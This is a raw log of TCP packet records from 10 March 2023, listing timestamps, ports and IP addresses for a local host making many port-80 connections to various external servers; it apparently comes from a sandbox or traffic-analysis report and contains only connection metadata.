Mar 10, 2023 07:54:29.189198017 CET	80	49782	3.130.253.23	192.168.2.6
Mar 10, 2023 07:54:29.189305067 CET	49782	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:29.191310883 CET	49782	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:29.197927952 CET	80	49778	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:29.206882954 CET	80	49780	107.180.98.101	192.168.2.6
Mar 10, 2023 07:54:29.211090088 CET	80	49780	107.180.98.101	192.168.2.6
Mar 10, 2023 07:54:29.211178064 CET	49780	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:54:29.220036983 CET	49780	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:54:29.346503973 CET	80	49782	3.130.253.23	192.168.2.6
Mar 10, 2023 07:54:29.346589088 CET	80	49782	3.130.253.23	192.168.2.6
Mar 10, 2023 07:54:29.346754074 CET	49782	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:29.395813942 CET	80	49780	107.180.98.101	192.168.2.6
Mar 10, 2023 07:54:29.464081049 CET	80	49783	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:29.464386940 CET	49783	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:29.466515064 CET	49782	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:29.556457043 CET	49783	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:29.621300936 CET	80	49782	3.130.253.23	192.168.2.6
Mar 10, 2023 07:54:29.652196884 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:29.672610044 CET	80	49742	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:29.672687054 CET	49742	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:29.742413998 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:29.743788004 CET	49785	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:54:29.745227098 CET	49786	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:29.762310028 CET	80	49784	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:29.762629032 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:29.767002106 CET	80	49785	185.53.177.50	192.168.2.6
Mar 10, 2023 07:54:29.767211914 CET	49785	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:54:29.770944118 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:29.773507118 CET	80	49786	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:29.773653984 CET	49786	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:29.790162086 CET	80	49784	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:29.790206909 CET	80	49785	185.53.177.50	192.168.2.6
Mar 10, 2023 07:54:29.790414095 CET	49785	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:54:29.790626049 CET	80	49784	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:29.790716887 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:29.800255060 CET	49786	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:29.809319019 CET	49787	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:29.813338995 CET	80	49785	185.53.177.50	192.168.2.6
Mar 10, 2023 07:54:29.831001997 CET	80	49786	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:29.831197023 CET	49786	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:29.832784891 CET	80	49783	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:29.834336996 CET	80	49783	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:29.834439039 CET	49783	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:29.916577101 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:29.916625977 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:29.916657925 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:29.916687012 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:29.916697025 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:29.916718006 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:29.916726112 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:29.916762114 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:29.951306105 CET	49788	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:29.972562075 CET	80	49788	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:29.972743034 CET	49788	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:29.981833935 CET	80	49787	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:29.982011080 CET	49787	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:29.997695923 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:30.017782927 CET	80	49784	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:30.017985106 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:30.020824909 CET	49788	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:30.022239923 CET	49786	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:30.023416042 CET	49789	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:30.023835897 CET	49787	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:30.028189898 CET	80	49785	185.53.177.50	192.168.2.6
Mar 10, 2023 07:54:30.028260946 CET	80	49785	185.53.177.50	192.168.2.6
Mar 10, 2023 07:54:30.028357029 CET	49785	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:54:30.028398037 CET	49785	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:54:30.028532028 CET	80	49785	185.53.177.50	192.168.2.6
Mar 10, 2023 07:54:30.028558969 CET	80	49785	185.53.177.50	192.168.2.6
Mar 10, 2023 07:54:30.028594971 CET	49785	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:54:30.028618097 CET	49785	80	192.168.2.6	185.53.177.50
Mar 10, 2023 07:54:30.041770935 CET	80	49788	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:30.042269945 CET	80	49788	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:30.042471886 CET	49788	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:30.062989950 CET	49783	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:30.088434935 CET	80	49786	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:30.098153114 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:30.119699001 CET	80	49784	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:30.120105982 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:30.130307913 CET	80	49789	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:30.130481005 CET	49789	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:30.138621092 CET	49789	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:30.179202080 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.179260015 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.179287910 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.179322004 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.179352999 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.179380894 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.179410934 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.179429054 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.179440022 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.179476023 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.179502010 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.188813925 CET	49788	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:30.189493895 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:30.195741892 CET	80	49787	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:30.196227074 CET	80	49787	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:30.196355104 CET	49787	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:30.211117029 CET	80	49788	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:30.211211920 CET	80	49788	143.204.9.43	192.168.2.6
Mar 10, 2023 07:54:30.211342096 CET	49788	80	192.168.2.6	143.204.9.43
Mar 10, 2023 07:54:30.211520910 CET	80	49784	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:30.212883949 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:30.234091997 CET	80	49786	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:30.234186888 CET	49786	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:30.246795893 CET	80	49789	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:30.258763075 CET	80	49789	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:30.258807898 CET	80	49789	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:30.258969069 CET	49789	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:30.342122078 CET	80	49783	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:30.343873978 CET	80	49783	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:30.343966007 CET	49783	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:30.367654085 CET	49787	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:30.385370016 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:30.405261993 CET	80	49784	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:30.405833006 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:30.443933010 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444036007 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444087982 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444124937 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444159985 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444204092 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444252014 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444293022 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444297075 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444335938 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444344997 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444380999 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444392920 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444426060 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444426060 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444464922 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444468975 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444489956 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444509983 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444528103 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444555998 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444575071 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444597006 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.444621086 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.444664955 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.539395094 CET	80	49787	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:30.539482117 CET	49787	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:30.589726925 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:30.707156897 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.707241058 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.707290888 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.707318068 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.707340956 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.707344055 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.707374096 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.707376003 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.707400084 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:30.707459927 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.707490921 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:30.964570999 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.095352888 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.095570087 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.103770971 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.154886961 CET	49791	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:31.156269073 CET	49792	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:54:31.216070890 CET	80	49727	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:31.216268063 CET	49727	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:31.234829903 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.324114084 CET	80	49791	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:31.324390888 CET	49791	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:31.341873884 CET	49791	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:31.351429939 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:31.351793051 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:31.374038935 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:31.531599998 CET	80	49791	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:31.531644106 CET	80	49791	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:31.531728029 CET	49791	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:31.532732964 CET	49791	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:31.601459980 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.601510048 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.601541042 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.601567984 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.601667881 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.601672888 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.601728916 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.601748943 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.604197979 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.604351997 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.604455948 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.604489088 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.604619980 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.604809046 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.605319023 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.700933933 CET	80	49791	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:31.732392073 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.732440948 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.732610941 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.732646942 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.737260103 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.737309933 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.737492085 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.737530947 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.746324062 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.746381998 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.746823072 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.755589962 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.755785942 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.756056070 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.756239891 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.764694929 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.764813900 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.765042067 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.765094995 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.773849964 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.773977995 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.774296999 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.782876015 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.782929897 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.783224106 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.783287048 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.792037964 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.792120934 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.792239904 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.792274952 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.801172018 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.801227093 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.801354885 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.810380936 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.810444117 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.810555935 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.810623884 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.863336086 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.863384008 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.863605976 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.867973089 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.868026972 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.868235111 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.868274927 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.877166986 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.877234936 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.877381086 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.877418041 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:31.885812044 CET	80	49790	74.208.215.199	192.168.2.6
Mar 10, 2023 07:54:31.886029005 CET	49790	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:54:32.719821930 CET	49793	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:32.776781082 CET	80	49725	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:32.776870966 CET	49725	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:32.810065031 CET	80	49793	93.187.206.66	192.168.2.6
Mar 10, 2023 07:54:32.810240984 CET	49793	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:32.840442896 CET	49793	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:32.930819035 CET	80	49793	93.187.206.66	192.168.2.6
Mar 10, 2023 07:54:32.930888891 CET	80	49793	93.187.206.66	192.168.2.6
Mar 10, 2023 07:54:32.931101084 CET	49793	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:54:33.203349113 CET	49794	80	192.168.2.6	96.91.204.114
Mar 10, 2023 07:54:33.248155117 CET	80	49773	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:33.248392105 CET	49773	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:33.680568933 CET	80	49777	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:33.680742025 CET	49777	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:34.293271065 CET	49792	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:54:34.489969015 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:34.735651016 CET	80	49768	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:34.735898018 CET	49768	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:35.302117109 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:35.374401093 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:35.374439955 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:35.374459982 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:35.374485970 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:35.374512911 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:35.374512911 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:35.374564886 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:35.410516977 CET	80	49784	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:35.410618067 CET	49784	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:35.540292025 CET	80	49787	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:35.540427923 CET	49787	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:35.708619118 CET	49795	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:35.719971895 CET	49796	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:35.727231979 CET	49797	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:35.747509003 CET	80	49797	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:35.747616053 CET	49797	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:35.752763987 CET	49798	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:35.753458977 CET	49799	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:35.753544092 CET	80	49796	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:35.753668070 CET	49796	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:35.754400969 CET	49796	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:35.754717112 CET	49797	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:35.775305986 CET	80	49797	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:35.777347088 CET	80	49798	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:35.777642965 CET	49798	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:35.784406900 CET	80	49797	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:35.784555912 CET	49797	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:35.785234928 CET	80	49796	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:35.785315990 CET	49796	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:35.862579107 CET	80	49799	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:35.862744093 CET	49799	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:35.954050064 CET	49798	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:35.973140001 CET	49799	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:35.975873947 CET	49796	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:35.976193905 CET	80	49798	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:35.976310968 CET	80	49798	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:35.976428032 CET	49798	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:35.978283882 CET	49800	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.004374981 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.006625891 CET	80	49796	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:36.006712914 CET	49796	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:36.007128000 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.046914101 CET	49798	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:36.069397926 CET	80	49798	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:36.069514990 CET	49798	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:36.078775883 CET	80	49799	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:36.079583883 CET	80	49799	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:36.079659939 CET	49799	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:36.133487940 CET	80	49800	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:36.133620977 CET	49800	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.137115955 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:36.137154102 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:36.137176037 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:36.137197971 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:36.137222052 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:36.137243986 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:36.137268066 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:36.137291908 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:36.137435913 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:36.137435913 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:36.178733110 CET	49800	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.182826042 CET	49799	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:36.280616999 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.280921936 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.281239033 CET	49803	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:36.283236980 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.285634995 CET	49794	80	192.168.2.6	96.91.204.114
Mar 10, 2023 07:54:36.291882992 CET	80	49799	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:36.292193890 CET	49799	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:36.306133986 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.306480885 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.334079981 CET	80	49800	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:36.334142923 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.334274054 CET	49800	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.335800886 CET	80	49800	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:36.336016893 CET	49800	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.336410046 CET	49800	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.380867958 CET	49804	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:36.381036997 CET	49805	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:36.398525953 CET	80	49805	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:36.398617983 CET	49805	80	192.168.2.6	188.114.96.3
